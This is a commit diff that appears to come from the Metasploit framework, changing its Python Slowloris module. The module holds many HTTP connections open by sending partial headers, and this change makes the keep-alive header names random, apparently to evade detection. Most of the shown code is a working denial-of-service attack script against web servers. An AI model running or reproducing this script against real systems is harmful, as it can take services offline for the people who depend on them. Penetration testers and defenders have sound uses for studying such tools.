Enhanced slowloris HTTP headers and minor cleanup

MS-2855/keylogger-mettle-extension
Matthew Kienow 2017-11-21 18:19:20 -05:00
parent 19844fb6ed
commit 785e5944d6
No known key found for this signature in database
GPG Key ID: 40787F8B1EAC6E41
1 changed files with 12 additions and 3 deletions

View File

@ -4,7 +4,7 @@
import random
import socket
import ssl
import sys
import string
import time
from metasploit import module
@ -70,6 +70,11 @@ user_agents = [
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_lowercase):
return ''.join(random.choice(seq) for _ in range(size))
def init_socket(host, port, use_ssl=False, rand_user_agent=True):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
@ -89,6 +94,7 @@ def init_socket(host, port, use_ssl=False, rand_user_agent=True):
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s
def run(args):
host = args['rhost']
port = int(args['rport'])
@ -102,7 +108,7 @@ def run(args):
module.log("Creating sockets...", 'info')
for i in range(socket_count):
try:
module.log("Creating socket number %s" % (i), 'debug')
module.log("Creating socket number %s" % i, 'debug')
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
except socket.error:
break
@ -112,7 +118,9 @@ def run(args):
module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)),
random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
@ -126,5 +134,6 @@ def run(args):
break
time.sleep(delay)
if __name__ == "__main__":
module.run(metadata, run)